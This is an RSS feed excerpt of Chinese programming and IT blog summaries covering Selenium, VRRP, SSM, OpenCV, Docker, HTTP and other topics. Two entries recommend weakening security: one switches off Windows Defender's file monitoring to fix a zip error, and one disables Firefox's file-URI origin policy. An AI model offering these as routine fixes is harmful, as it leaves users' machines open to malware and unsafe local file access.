      <description>这里是清安，我们见过元素定位，也讲过一篇，元素定位不到的文章，那么本章，我们就来详细说说，元素定位的那些利器。一起看看元素定位的另一些情况。&#xA;目录&#xA;css 和 xpath 定位各自优缺点？&#xA;篇外话&#xA;如何定位一组元素？&#xA;如何定位父子/兄弟/相邻节点的定位元素？&#xA;父-&amp;gt;子&#xA;子-&amp;gt;父&#xA;如何二次定位元素？&#xA;如何去定位页面上动态加载动态变化的元素？&#xA;正文&#xA;xpath实用的元素定位方法&#xA;CSS实用的元素定位方法&#xA;总结&#xA;css 和 xpath 定位各自优缺点？ xpath ：是 XML 文档中查找结点的语法，换句话就是通过元素的路径来查找这个元素。他分绝对路径和相对路径，xpath 比较强大，所有元素它都能定位到，但是他定位相对比较慢，&#xA;css 选择器 ：在性能上更优，运行速度更快，语法上更简洁。&#xA;Xpath能通过子元素搜索父元素， Css无法实现，Css只能从父级往下级搜索。&#xA;Xpath能按文本搜索元素，Css不能。&#xA;Css比Xpath更简单易读，执行速度更快&#xA;篇外话 如何定位一组元素？ 以百度为例：&#xA;from selenium import webdriver fox = webdriver.Firefox() fox.get(&#39;https://baidu.com&#39;) s = fox.find_elements_by_class_name(&#39;mnav&#39;) for i in s: print(i.get_attribute(&#39;href&#39;)) fox.quit() 看图，我标注了数字，为什么要标注数字，跑了看结果就知道了。&#xA;http://news.baidu.com/ https://www.hao123.com/ http://map.baidu.com/ http://tieba.baidu.com/ https://haokan.baidu.com/?sfrom=baidu-top http://image.baidu.com/ https://pan.baidu.com/?from=1026962h None 得出的结果是这样的。为什么会有一个None值呢，看到了我标注的黄色框了吗，元素也是mnav开头的，这里是模糊匹配，所以黄色框中的div也输出了，它又没有href，所以为None。&#xA;.get_attribute(&#39;href&#39;)获取元素的给定属性或属性，它将返回具有相同名称的属性的值，我需要获取href属性对应的值，所以说，输出了一个个链接。&#xA;如何定位父子/兄弟/相邻节点的定位元素？ 这里做了解就好&#xA;父-&amp;gt;子 串联查找，这一项可以理解为父级元素的基础上直接查找所需的子元素。当元素定位不到的时候可以尝试此方法，不过比较的笨拙，但是实在。&#xA;from selenium import webdriver fox = webdriver.</description>
    </item>
    <item>
      <title>Symbolicc&#43;&#43;库</title>
      <link>https://bchobby.github.io/posts/12373895f0b444054801a7eb18812d81/</link>
      <pubDate>Sun, 23 Jan 2022 17:58:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12373895f0b444054801a7eb18812d81/</guid>
      <description>link:&#xA;https://issc.uj.ac.za/symbolic/symbolic.html 使用SymbolicC++3 3.35 gzipped tar ，这个是只包含header file的库，生成静态库的版本SymbolicC++3 3.35 with GNU autoconf有问题。</description>
    </item>
    <item>
      <title>火狐浏览器报错：已拦截跨源请求:同源策略禁止读取位于...的远程资源(CORS 请求不是 http)</title>
      <link>https://bchobby.github.io/posts/0beb703f4d4f7683d5c5bb4dcc73c10d/</link>
      <pubDate>Sun, 23 Jan 2022 16:13:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0beb703f4d4f7683d5c5bb4dcc73c10d/</guid>
      <description> 访问本地的json文件时出错，已拦截跨源请求:同源策略禁止读取位于 file:///I:/IDEA_VueStudy/demo/data.json&#xA;解决方法：&#xA;第一步：地址栏输入：about:config，回车，点击”接受风险并继续”后进入页面 第二步：搜索：security.fileuri.strict_origin_policy,并设置该项为false 最后，重启浏览器，就不会再报跨源错误了。 </description>
    </item>
    <item>
      <title>VRRP小实验</title>
      <link>https://bchobby.github.io/posts/e5e865567a70d8264cc9183a7cfd2f61/</link>
      <pubDate>Sun, 23 Jan 2022 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5e865567a70d8264cc9183a7cfd2f61/</guid>
      <description>一、实验内容 实验背景： 作为公司的网络管理员，当前的网络中有两个用户，PC1、PC2模拟为公司用户，R1使用环回口模拟Internet服务器。此时网络中有两个网关，为实现冗余选择使用VRRP协议。实验拓扑如下图所示：&#xA;二、实验目的 1.了解网络负载均衡的功能和作用。&#xA;2.理解VRRP协议的工作原理。&#xA;3.掌握三层交换环境单组VRRP的配置方法，及其优化配置。&#xA;三、实验方案设计 本次实验采用一台路由器，两台具备三层路由功能的交换机，两台终端设备（PC），网络中划分了三个VLAN,分别为VLAN 1、VLNA 2、VLAN 3。&#xA;1.在SW1上创建VLAN 1、VLNA 2、并且配置如上图拓扑所示IP地址，然后将G0/0/10接口配置为trunk模式，允许vlan 1 通过，将G0/0/1接口配置为access模式，划分vlan 2。&#xA;2.在SW2上创建VLAN 1、VLNA 3、并且配置如上图拓扑所示IP地址，然后将G0/0/10接口配置为trunk模式，允许vlan 1 通过，将G0/0/1接口配置为access模式，划分vlan 3。&#xA;3.PC1连接SW1的G0/0/2口，并且将SW1的G0/0/2口配置为access模式，划分vlan 1 。&#xA;4.PC1连接SW2的G0/0/2口，并且将SW2的G0/0/2口配置为access模式，划分vlan 1 。&#xA;5.在SW1上进入vlanif 1,配置VRRP为Master设备端，vrid 为1，虚拟网关地址为10.0.123.254 ，设置vrrp优先级105（默认值为100，越大越优），开启抢占模式（默认开启），设置抢占延迟时间为10秒，开启上行链路追踪功能。&#xA;6.在SW2上进入vlanif 1,配置VRRP为Backup设备端，vrid 为1，虚拟网关地址为10.0.123.254 。&#xA;7.在路由器AR1上配置接口IP如上图所示，并且配置loopback0来模拟外网网段。然后开启OSPF路由协议，在区域0里，宣告两个接口IP地址和一个loopback0接口地址。&#xA;8.SW1也开启OSPF路由协议，在区域0里，宣告vlan 1 和 vlan3 网段。&#xA;9.SW2也开启OSPF路由协议，在区域0里，宣告vlan 1 和 vlan2 网段。&#xA;10.PC1和PC2的网关地址均为10.0.123.254。&#xA;四、实验配置命令 SW1:&#xA;# Vlan batch 2 //创建vlan2， # interface Vlanif1 ip address 10.0.123.2 255.255.255.0 vrrp vrid 1 virtual-ip 10.0.123.254 //虚拟网关地址 vrrp vrid 1 priority 105 //修改VRRP优先级，使得SW1变为Master设备 vrrp vrid 1 preempt-mode timer delay 10 //配置抢占延迟时间，使得业务流量不中断 vrrp vrid 1 track interface GigabitEthernet0/0/1 reduced 20 //配置追踪上行链路，快速感知链路故障。 # interface Vlanif2 ip address 10.</description>
    </item>
    <item>
      <title>在Linux中的vi编辑模式中查找关键字的方法</title>
      <link>https://bchobby.github.io/posts/9df7b0445dfbffcc8ff9fe309e2df6a1/</link>
      <pubDate>Sat, 22 Jan 2022 22:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9df7b0445dfbffcc8ff9fe309e2df6a1/</guid>
      <description>在Linux中的vi编辑模式中查找关键字的方法：&#xA;1、进入vi中，先按下&#34;ESC&#34;跳转成命令输入模式&#xA;2、输入斜杠“/”，这时屏幕会跳转到底部，输入栏出现&#34;/&#34;&#xA;3、输入你需要查找的关键字，回车&#xA;4、如果要继续查找关键字，输入n&#xA;5、向前查找，输入N（大写）</description>
    </item>
    <item>
      <title>SSM整合</title>
      <link>https://bchobby.github.io/posts/368678ac8492cc0ecb7c24678c11accc/</link>
      <pubDate>Sat, 22 Jan 2022 13:42:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/368678ac8492cc0ecb7c24678c11accc/</guid>
      <description>ssm整合(文末配有SSM整合所需依赖)&#xA;目录结构&#xA;实现pojo实体类&#xA;package com.mySSM.pojo; import java.io.Serializable; /** *序列化原因 *当客户端访问了某个能开启会话功能的资源 *服务器就会为其创建一个HttpSession对象 *每个HttpSession会占用一定的内存空间 *当访问数量过多，服务器就会创建大量HttpSession对象 *消耗大量服务器内存，即使客户端关闭浏览器，但是在不超时 *情况下依旧占用服务器内存 *服务器通常将那些暂时不活动的但未超时的HttpSession对象 *转移到数据库或文件系统中保存，当需要的时候再从文件系统 *或数据库中载入内存 */ public class Admin implements Serializable { private Integer id; private String username; private String password; private Double money; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getPassword() { return password; } public void setPassword(String password) { this.</description>
    </item>
    <item>
      <title>C语言解决PTA1008 数组元素循环右移问题</title>
      <link>https://bchobby.github.io/posts/61880eda4851b5e6b868ba064ea701b7/</link>
      <pubDate>Sat, 22 Jan 2022 13:34:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61880eda4851b5e6b868ba064ea701b7/</guid>
      <description>文章目录 输入样例:输出样例:核心思想完整源码测试效果 本博文源于胡凡老师的《算法笔记》，解决这道题目的关键就是先取模，后打印，打印的话直接n-m - n-1打印，然后1再打印0,n-m打印，思路特别清晰，代码也很简洁，清晰易懂 输入样例: 6 2 1 2 3 4 5 6 输出样例: 5 6 1 2 3 4 核心思想 先取模避免m大于n，然后就开始n-m - n-1的打印，然后1-n-m打印即可。&#xA;完整源码 #include&amp;lt;stdio.h&amp;gt; int main() { int a[110]; int n,m,cnt = 0; scanf(&#34;%d%d&#34;,&amp;amp;n,&amp;amp;m); m = m%n; for(int i =0;i&amp;lt;n;i++){ scanf(&#34;%d&#34;,&amp;amp;a[i]); } for(int i = n-m;i&amp;lt;n;i++){ //输出n-m 号 到 n-1号数字 printf(&#34;%d&#34;,a[i]); cnt ++; if(cnt&amp;lt;n) printf(&#34; &#34;); } for(int i = 0;i&amp;lt;n-m;i++){ printf(&#34;%d&#34;,a[i]); cnt++; if(cnt&amp;lt;n)printf(&#34; &#34;); } return 0; } 方法2最大公约数</description>
    </item>
    <item>
      <title>程序中变量的存储和显示</title>
      <link>https://bchobby.github.io/posts/693af2b14a160d63a2606744fd922196/</link>
      <pubDate>Sat, 22 Jan 2022 13:02:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/693af2b14a160d63a2606744fd922196/</guid>
      <description>一、存储和显示&#xA;存储形式：变量在电脑中的存储形式，数值变量都是以补码的形式进行存储的（正数的原码、反码、补码是相同的；负数的原码，反码，补码是不同的）；&#xA;显示形式：将变量的存储数据，经过处理后，显示给人看的，因此用户才能看到正数，负数，字符型数据；&#xA;二、字符型变量&#xA;字符型变量在内存中存储的是ASCII码值，每个字符都有对应的ASCII码，因此在存储的时候存储的是字符型变量对应的ASCII码；&#xA;在显示的时候，按照%c格式显示，则显示的是对应的字符；按照%d格式显示，则显示的是对应的ASCII码，即数值；&#xA;三、存储系统是针对机器的，而显示系统是针对人的，因此看到的和存储的是不一样的，注意区分。</description>
    </item>
    <item>
      <title>数据库系统原理——概述</title>
      <link>https://bchobby.github.io/posts/88073cb7a6b09ab8821b027e13f60c7c/</link>
      <pubDate>Sat, 22 Jan 2022 09:57:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88073cb7a6b09ab8821b027e13f60c7c/</guid>
      <description>穷则独善其身，达则兼济天下&#xA;一. 什么是数据库 狭义：存储数据的仓库&#xA;广义：可以对数据进行存储和管理的软件以及数据本身统称为数据库&#xA;定义：是长期存储在计算机内的、有组织的、可共享的数据集合&#xA;数据库是由表、关系、操作组成&#xA;二. 为什么需要数据库 几乎所有的应用软件的后台都需要数据库&#xA;数据存储数据占用空间小，容易持久保存&#xA;数据库的内容是存储在硬盘上，掉电之后任然存在 存储比较安全&#xA;软件是加密的，只能通过DBMS打开 容易维护和升级&#xA;使用SQL语句方便操作数据 数据库移植比较容易&#xA;简化对数据的操作&#xA;数据库是第四代语言，是一些命令&#xA;为将来学习Oracle做准备&#xA;B/S架构里面包含数据库&#xA;三. 预备知识 1. 学习数据库必须要学习数据库原理吗？ 是滴，数据库原理是理论知识，数据库软件是对数据库的实现&#xA;2. 学习SQL server必须先学一门编程语言吗？ 不需要，但是懂一门编程语言有助于学习SQL server中的TL-SQL&#xA;TL-SQL带有流程控制的SQL命令&#xA;3. 数据结构和数据库的区别？ 数据库：是在应用软件级别研究数据的存储和操作（外存级别）&#xA;数据结构：是在系统软件级别研究数据的存储和操作（内存级别）&#xA;4. 什么是连接 5. 有了编程语言为什么还需要数据库 保存数据的容器：数组、集合、文件&#xA;其中数组、集合是临时性存储 文件是持久化存储 对内存数据操作是编程语言的强项，但对硬盘数据操作却是编程语言的弱项&#xA;对硬盘数据操作却是数据库强项，是数据库研究核心&#xA;6. 建议初学者从三个方面学习数据库 数据库是如何存储数据的&#xA;字段 记录 表 约束 （主键、外键、唯一键、非空、check、default、触发器） 什么是约束&#xA;定义：对一个表中的属性操作的限制叫约束 分类： 主键约束：不允许重复元素，避免了数据冗余 主键定义：可以唯一标识一个事物的一个字段或多个字段的组合 主键表：含有主键字段的表 注：主键通常是整数，不建议使用字符串（除非主键用于集群式(个机器)服务可考虑） 主键的值通常都不允许修改，除非本记录被删除 主键不要定义成id，而要定义成表名id或表名_id 要用代理主键，不要用业务逻辑主键（用一个没有实际意义的编号当主键）&#x9;外键约束：通过外键约束从语法上，保证了本事物所关联的其他事物一定是存在的 事物和事物的关系是通过外键来体现的 外键定义：如果一个表中的若干个字段是来自另外若干个表的主键或唯一键，则这若干个字段就是外键 外键表：含有外键字段的表，外键字段来自的那一张表叫主键表 注：外键通常是来自另外表的主键而不是唯一键，因为唯一键可能是null 外键不一定来自另外的表，也可能来自本表的主键 先删除主键表还是外键表？ 答：先删除外键表 如果先删除主键表，会报错，因为这会导致外键表中的数据引用失败 check约束：保证事物属性的取值在合法范围内 default约束：保证事物属性一定会有一个值 唯一(unique)约束：保证了事物属性的取值不允许重复，但允许其中有一列为空 注：SQL server只允许一个unique列为空 Oracle运行多个unique列为空 not null约束：要求用户必须为该属性赋一个值，否则语法出错 如果一个字段不写null也不写not null，则默认值是null，即允许为空 注：null和default区别 同：都允许用户不赋值 不同：null修饰的字段如果用户不赋值则默认是null default修饰的字段如果用户不赋值则默认是default指定的那个值 表和约束的区别</description>
    </item>
    <item>
      <title>java 内存管理和面向对象的三大特性</title>
      <link>https://bchobby.github.io/posts/bdce47057bdcdcf194b78af87f673402/</link>
      <pubDate>Sat, 22 Jan 2022 04:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bdce47057bdcdcf194b78af87f673402/</guid>
      <description>内存管理：由JVM管理的&#xA;堆：&#xA;存储new出来的对象(包括实例变量)&#xA;垃圾：没有任何引用所指向的对象&#xA;垃圾回收器(GC)不定时到内存堆中清扫垃圾，回收的过程中透明的(看不到的)，不一定一发现垃圾就立刻回收，通过调用System.gc()建议虚拟机尽快调度GC来回收&#xA;实例变量的生命周期：&#xA;创建对象时存储在堆中，对象被回收时一并被回收&#xA;内存泄漏：不再使用的对象没有被及时的回收，严重的泄漏会导致系统的崩溃，建议：不再使用的对象应及时将引用设置为null&#xA;栈：&#xA;存储正在调用的方法中的局部变量(包括方法的参数)&#xA;调用方法时，会为该方法在栈中分配一块对应的栈帧，栈帧中存储局部变量(包括方法的参数)，方法调用结束时，栈帧被自动清除，局部变量一并被清除。&#xA;局部变量的生命周期：&#xA;调用方法时存储在栈中，方法调用结束时与栈帧一并被清除&#xA;方法区：&#xA;存储.class字节码文件(包括静态变量、所有方法)方法只有一份，通过this来区分具体的调用对象 面向对象三大特征总结： 封装：&#xA;类：封装对象的属性和行为方法：封装的是具体的业务逻辑实现访问控制修饰符：封装的是具体的访问权限 继承：&#xA;作用：代码复用&#xA;超类：所有派生类所共有的属性和行为&#xA;接口：部分派生类所共有的属性和行为&#xA;派生/实现类：派生类所特有的属性和行为&#xA;单一继承、多接口实现，具有传递性&#xA;多态：&#xA;行为多态：所有抽象方法都是多态的(通过重写来表现)&#xA;对象多态：所有对象都是多态的(通过向上造型为表现)&#xA;重写、向上造型、强制类型转换、instanceof判断</description>
    </item>
    <item>
      <title>shell编程-流程控制-if-case-for</title>
      <link>https://bchobby.github.io/posts/f0c69d22816a5dc637d34a030ccb60ee/</link>
      <pubDate>Sat, 22 Jan 2022 00:53:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0c69d22816a5dc637d34a030ccb60ee/</guid>
      <description>流程控制 1. if语句 我们直接来了解多分支吧，但分支和双分支太简单了，它包含在多分支里面&#xA;格式：&#xA;if [判断条件1] then 条件1成立时，执行的程序 elif [判断条件2] then 条件2成立时，执行的语句 ... else 当所有条件都不成立，执行的语句 fi 来个完整的四则运算脚本吧&#xA;#!/bin/bash read -p &#34;请输入数字1：&#34; num1 read -p &#34;请输入数字2：&#34; num2 read -p &#34;请输入你需要的运算符【+ - * / %】：&#34; oper if [ -n &#34;$num1&#34; -a -n &#34;$num2&#34; -a -n &#34;$oper&#34; ] then tt1=$(echo $num1 | sed s/[0-9]//g) tt2=$(echo $num2 | sed s/[0-9]//g) if [ -n &#34;$tt1&#34; -o -n &#34;$tt2&#34; ] then echo &#34;ERR-13：请输入正确的数字!!!&#34; exit 13 else if [ &#34;</description>
    </item>
    <item>
      <title>Android Studio 最新最详细安装教程</title>
      <link>https://bchobby.github.io/posts/8512b054f6391c21055b1ade0ce9abeb/</link>
      <pubDate>Fri, 21 Jan 2022 22:08:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8512b054f6391c21055b1ade0ce9abeb/</guid>
      <description>一、安装说明 Android Studio（简称AS）是谷歌推出的一个Android集成开发工具，基于IntelliJ IDEA. 类似 Eclipse ADT，Android Studio 提供了集成的 Android 开发工具用于开发和调试。&#xA;AS能够在Linux、Windows、macOS上运行，支持Java、Kotlin、Flutter等语言开发。&#xA;在IDEA的基础上，Android Studio 提供：&#xA;基于Gradle的构建支持Android 专属的重构和快速修复提示工具以捕获性能、可用性、版本兼容性等问题支持ProGuard 和应用签名基于模板的向导来生成常用的 Android 应用设计和组件功能强大的布局编辑器，可以让你拖拉 UI 控件并进行效果预览 笔者使用AS进行Flutter开发。安装的详细教程（多图）如下。&#xA;二、下载与安装 读者可在官网或者Android Studio中文社区下载安装包：&#xA;AS官网：developer.android.google.cn/studioAS中文社区：developer.android.google.cn/studio 笔者在官网下载，下载前需同意一个协议：&#xA;下载后双击安装包进入安装。&#xA;点击 Next 进入下一个界面。&#xA;选择要安装的组件，笔者全选，点击 Next 进行下一步。&#xA;选择安装目录，强烈建议不要安装在 C:\Program Files\ 等需要较高权限的目录下。笔者安装在 C:\Android\Android Studio\ 目录下。单击 Next 。&#xA;这一步选择开始菜单文件夹，可以不管直接单击 Install 进入下一步：&#xA;等待安装完成，单击 Next 。&#xA;单击 Finish 启动AS。&#xA;选择是否导入AS设置，选择不导入，单击 OK 。&#xA;显示未找到Android SDK，单击 Cancel 进入下一步。&#xA;继续单击 Next 。&#xA;选择安装类型。笔者选择 Custom ，这样可以自定义Android SDK 安装目录。选好后单击 Next 。</description>
    </item>
    <item>
      <title>基于python的opencv图像形态学处理（图像腐蚀与膨胀操作以及礼帽与黑帽）</title>
      <link>https://bchobby.github.io/posts/f6a93e2b9c9a9f2856a5c5e7943845da/</link>
      <pubDate>Fri, 21 Jan 2022 17:44:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6a93e2b9c9a9f2856a5c5e7943845da/</guid>
      <description>腐蚀与膨胀&#xA;图像的腐蚀与膨胀互为逆向操作，通常用于处理二值图像（黑白图，以黑色为底面背景），因此需要先进行二值化处理，腐蚀和膨胀通俗的理解就是，在指定大小的卷积核内，如果该卷积核内全为黑色或全为白色，则该卷积核内像素值不变，但若是既有黑色又有白色，即在图像边缘处，那么膨胀操作则会将该卷积核内所有白色像素点都赋值变为黑色，以此将图像向内腐蚀掉一圈，而膨胀操作则相反，会将卷积核内的黑色像素点赋值成2白色，以此让图像膨胀一圈。&#xA;膨胀与腐蚀的函数介绍&#xA;kernel = np.ones((3,3),uint8):定义要处理的卷积核大小和卷积核的类型。&#xA;erosion = cv2.erode(img_test3,kernel,iterations = 1)：对图像进行膨胀操作，img_test是要进行处理的图像，kernel是通过上一个函数定义好的卷积核，而iterations则是腐蚀操作的循环次数（可以将卷积核设置为（1，1），然后不断调整循环次数来实现精细化的腐蚀，以达到更好的腐蚀效果）。&#xA;dilate_1 = cv2.dilate(img_test,kernel,iterations = 1)：对图像进行膨胀操作，这里的参数跟上面的参数作用一样，只是改了函数名而已。（同样可以将卷积核设置为（1，1），不断改变循环次数，以达到更好的膨胀效果）。&#xA;应用：腐蚀操作一般用于消去图像中不需要的粘连部分，而膨胀操作则用于填充图像内的空白部分，同时也可以恢复图像由于进行腐蚀操作后缩小的面积，在下面的代码实例中会有体现。&#xA;代码实例&#xA;import cv2#导入包 import numpy as np import matplotlib.pyplot as plt img_test3 = cv2.imread(&#34;test3.png&#34;)#读入图像 cv2.imshow(&#34;test3&#34;,img_test3)#展示图片 cv2.waitKey(0) cv2.destroyAllWindows()#关闭窗口 kernel = np.ones((3,3),np.uint8)#设定处理的内核 erosion = cv2.erode(img_test3,kernel,iterations = 1)#腐蚀操作 cv2.imshow(&#34;erosion&#34;,erosion)#展示图片 cv2.waitKey(0) cv2.destroyAllWindows()#关闭窗口 pie = cv2.imread(&#34;pie.png&#34;) cv2.imshow(&#34;pie&#34;,pie) cv2.waitKey(0) cv2.destroyAllWindows() kernel = np.ones((30,30),np.uint8)#设定要处理的内核大小 erosion_1 = cv2.erode(pie,kernel,iterations = 1)#循环腐蚀1次 erosion_2 = cv2.erode(pie,kernel,iterations = 2)#循环腐蚀2次 erosion_3 = cv2.erode(pie,kernel,iterations = 3)#循环腐蚀3次 All = np.</description>
    </item>
    <item>
      <title>无线WiFi模组技术，ESP32-S3物联网应用，家居生活智能化发展</title>
      <link>https://bchobby.github.io/posts/9240aebbabd1e57d538288a4a556e296/</link>
      <pubDate>Fri, 21 Jan 2022 17:27:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9240aebbabd1e57d538288a4a556e296/</guid>
      <description>随着无线产业从802.11g到下一代802.11n标准的演变，越来越多的产品开始采用功能强大的802.11n技术，因为它能提供更快更可靠的无线连接。&#xA;WiFi最主要的优势在于不需要布线，可以不受布线条件的限制，非常适合移动办公用户的需要，具有广阔市场前景。&#xA;什么是无线WiFi呢?WiFi俗称无线宽带，它的最大优点就是传输速度高，有效距离长，兼容性强，具有国际先进性的通讯方式。&#xA;ESP32-S3是一款集成2.4GHz Wi-Fi和Bluetooth5(LE)的MCU芯片，支持远距离模式。专为AIoT市场打造支持2.4GHz Wi-Fi和Bluetooth5(LE)强大的AI运算能力和安全加密机制。&#xA;WiFi技术能够应对家居控制和多媒体应用及各种在线服务的要求。不仅支持多个并发用户和设备，而且它的超强功能可保证服务质量，确保家庭中所有设备提供更佳用户体验，同时提供智能的内容管理和发布。&#xA;WiFi代表了“无线保真”，通过WiFi技术的运用，将中控产品成功在智能家居中使用。与普通家居相比，智能家居不仅具有传统的居住功能，提供舒适安全、高品位且宜人的家庭生活空间。&#xA;ESP32-S3搭载Xtensa®32位LX7双核处理器，主频高达240MHz，内置512KB SRAM(TCM)，具有45个可编程GPIO管脚和丰富的通信接口。&#xA;ESP32-S3支持更大容量的高速Octal SPIflash和片外RAM，支持用户配置数据缓存与指令缓存。&#xA;随着人们生活水平的提高，家对大家来说已经不再仅仅是一个生活场所，而是修身养性，提高个人品味，体验高科技给日常生活带来的极品享受的场所。&#xA;ESP32-S3MCU增加了用于加速神经网络计算和信号处理等工作的向量指令。开发者们通过ESP-DSP和ESP-NN库使用这些向量指令，可以实现高性能的图像识别、语音唤醒和识别等应用。&#xA;想象一下准备欣赏电视节目，说“看电视新闻联播”这句话的时候，电视打开了，频道调整到中央一台，窗帘拉上了，房间的光线逐渐调整到最适宜看电视的程度……&#xA;或者，在回家的路上，自动为您提前打开空调，调整室内温度到合适程度，接通通风装置，调节好室内的光线，把预先准备好的食物用微波炉加热。这样，一回来就可以享受到舒适的环境，或许还有一杯热茶。&#xA;ESP32-S3拥有45个可编程GPIO以及SPI、I2S、I2C、PWM、RMT、ADC、UART、SD/MMC主机控制器和TWAITM控制器等常用外设接口。其中的14个GPIO可被配置为HMI交互的电容触摸输入端。&#xA;此外，ESP32-S3搭载了超低功耗协处理器(ULP)，支持多种低功耗模式，广泛适用于各类低功耗应用场景。&#xA;未来智能家居的发展，已不再局限于控制家里的电器设备，更多的将是提供一种实时在线的服务。此时我们的无线触摸屏，将不再是一个简单的触摸控制台，而是一个集成了多种应用程序的多媒体服务中心。&#xA;由原来的被动静止结构转变为具有能动智慧的工具，提供全方位的信息交互功能，帮助家庭与外部保持信息交流畅通，优化人们的生活方式，帮助人们有效安排时间，增强家居生活的安全性，甚至为各种能源费用节约资金。&#xA;ESP32-S3为物联网设备提供了完善的安全机制和保护措施，防止各类恶意攻击和威胁。它支持基于AES-XTS算法的flash加密、基于RSA算法的安全启动、数字签名和HMAC。&#xA;ESP32-S3还新增了一个“世界控制器(WorldController)”模块，提供了两个互不干扰的执行环境，实现可信执行环境或权限分离机制。&#xA;智能家居需要能让用户更简便地来管理家庭设备，通过WiFi来控制家用设备，免去了大量遥控器所带来的烦恼，更可以执行场景操作，使多个设备形成联动，从而给用户带来最大程度的高效、便利、舒适与安全。</description>
    </item>
    <item>
      <title>Windows11 拒绝访问压缩(zipped)文件夹</title>
      <link>https://bchobby.github.io/posts/33de628bde131b7f3a7521379b7661cc/</link>
      <pubDate>Fri, 21 Jan 2022 15:42:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33de628bde131b7f3a7521379b7661cc/</guid>
      <description>最近windows10被自动升级到windows11，使用的一个工具zip压缩包突然就无法解压了，提示：&#xA;拒绝访问压缩（zipped)文件夹，提取文件之前，必须更改这个压缩文件夹的权限。&#xA;我的尝试：更改了这个压缩包文件的属性中的各个用户权限，增加了所有权限。结果依然提示如下这个。&#xA;最终解决方法：&#xA;关闭windows defender对文件的监控。&#xA;步骤：点击“开始”（窗口标志）---点击“设置”---左侧菜单中的“隐私和安全性”---&#xA;之后自己看着点，将病毒和威胁保护下面的文件监控之类的都关闭。</description>
    </item>
    <item>
      <title>Doris Rollup物化视图及应用实践</title>
      <link>https://bchobby.github.io/posts/88dac369efaf30f37360c55d15802150/</link>
      <pubDate>Fri, 21 Jan 2022 14:27:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88dac369efaf30f37360c55d15802150/</guid>
      <description>详情观看官网: Roll up与查询 &amp;amp;&amp;amp; 物化视图&#xA;Rollup 与查询 在 Doris 里 Rollup 作为一份聚合物化视图，其在查询中可以起到两个作用：&#xA;索引聚合数据（仅用于聚合模型，即aggregate key） 但是为了命中 Rollup 需要满足一定的条件，并且可以通过执行计划中 ScanNdoe 节点的 PreAggregation 的值来判断是否可以命中 Rollup，以及 Rollup 字段来判断命中的是哪一张 Rollup 表。&#xA;名词解释 Base：基表。&#xA;Rollup：一般指基于 Base 表创建的 Rollup 表，但在一些场景包括 Base 以及 Rollup 表。&#xA;索引 前面的查询实践中已经介绍过 Doris 的前缀索引，即 Doris 会把 Base/Rollup 表中的前 36 个字节（有 varchar 类型则可能导致前缀索引不满 36 个字节，varchar 会截断前缀索引，并且最多使用 varchar 的 20 个字节）在底层存储引擎单独生成一份排序的稀疏索引数据(数据也是排序的，用索引定位，然后在数据中做二分查找)，然后在查询的时候会根据查询中的条件来匹配每个 Base/Rollup 的前缀索引，并且选择出匹配前缀索引最长的一个 Base/Rollup。&#xA;-----&amp;gt; 从左到右匹配 +----+----+----+----+----+----+ | c1 | c2 | c3 | c4 | c5 |.</description>
    </item>
    <item>
      <title>操作系统怎么把文件放到docker容器里</title>
      <link>https://bchobby.github.io/posts/7598f7e0abb488f2a2af5887f9463bce/</link>
      <pubDate>Fri, 21 Jan 2022 09:40:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7598f7e0abb488f2a2af5887f9463bce/</guid>
      <description>操作系统怎么把文件放到docker容器里 完美拷贝本地文件到docker容器:&#xA;（1）查找容器&#xA;docker ps -a （2）确定我们的容器名，并获取容器长ID&#xA;docker inspect -f &#39;{{.ID}}&#39; store-dev （3） 拷贝本地文件到容器&#xA;docker cp 你的文件路径 容器长ID:docker容器路径 示例：&#xA;假设容器名为68b99,现在要将宿主机/var/backup/nginx.zip文件拷贝到容器里面的/cert路径下面&#xA;在宿主机上执行命令：&#xA;docker cp /var/backup/nginx.zip 68b99:/cert 更多相关教程，请关注PHP中文网docker教程栏目。&#xA;以上就是怎么把文件放到docker容器里的详细内容，更多请关注php中文网其它相关文章！</description>
    </item>
    <item>
      <title>HTTP协议的详细介绍</title>
      <link>https://bchobby.github.io/posts/845195ea870512473b79a6f731011441/</link>
      <pubDate>Thu, 20 Jan 2022 23:24:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/845195ea870512473b79a6f731011441/</guid>
      <description>目录&#xA;一、何为HTTP协议&#xA;1.HTTP协议详细信息&#xA;2.HTTPS协议：&#xA;3.HTTP协议的特点&#xA;二、HTTP协议 请求方式&#xA;HTTP1. 0定义了三种请求方法：&#xA;1.GET&#xA;2.POST&#xA;3.HEAD&#xA;HTTP1. 1 新增了五种请求方法：&#xA;1.OPTIONS&#xA;2.PUT&#xA;3.DELETE&#xA;4.TRACE&#xA;5.CONNECT 三、HTTP协议状态码&#xA;一、何为HTTP协议 所谓协议，就是指双方遵循的规范。&#xA;1.HTTP协议详细信息 HTTP协议，就是浏览器和服务器之间进行“沟通&#34;的一种规范。我们在看空间，刷 微博...都是在使用http协议，当然，远远不止这些应用。HTTP协议是基于TCP/IP的应用层协议HTTP协议，即 超文本传输协议(Hypertext transfer protocol) 。是一种详细规定了浏览器和万维网(WWW =World Wide Web)服务器之间互相通信的规则，通过因特网传送万维网文档的数据传送协议。 HTTP是一个应用层协议，由请求和响应构成，是一个标准的客户端服务器模型。HTTP是一个无 状态的协议。&#xA;HTTP默认的端口号为80, HTTPS的端口号为443。&#xA;浏览网页是HTTP的主要应用，但是这并不代表HTTP就只能应用于网页的浏览。 HTTP是一种协议, 只要通信的双方都遵守这个协议，HTTP就能有用武之地。比如咱们常用的QQ,迅雷这些软件，都会使用HTTP协议（还包括其他的协议）。&#xA;2.HTTPS协议： 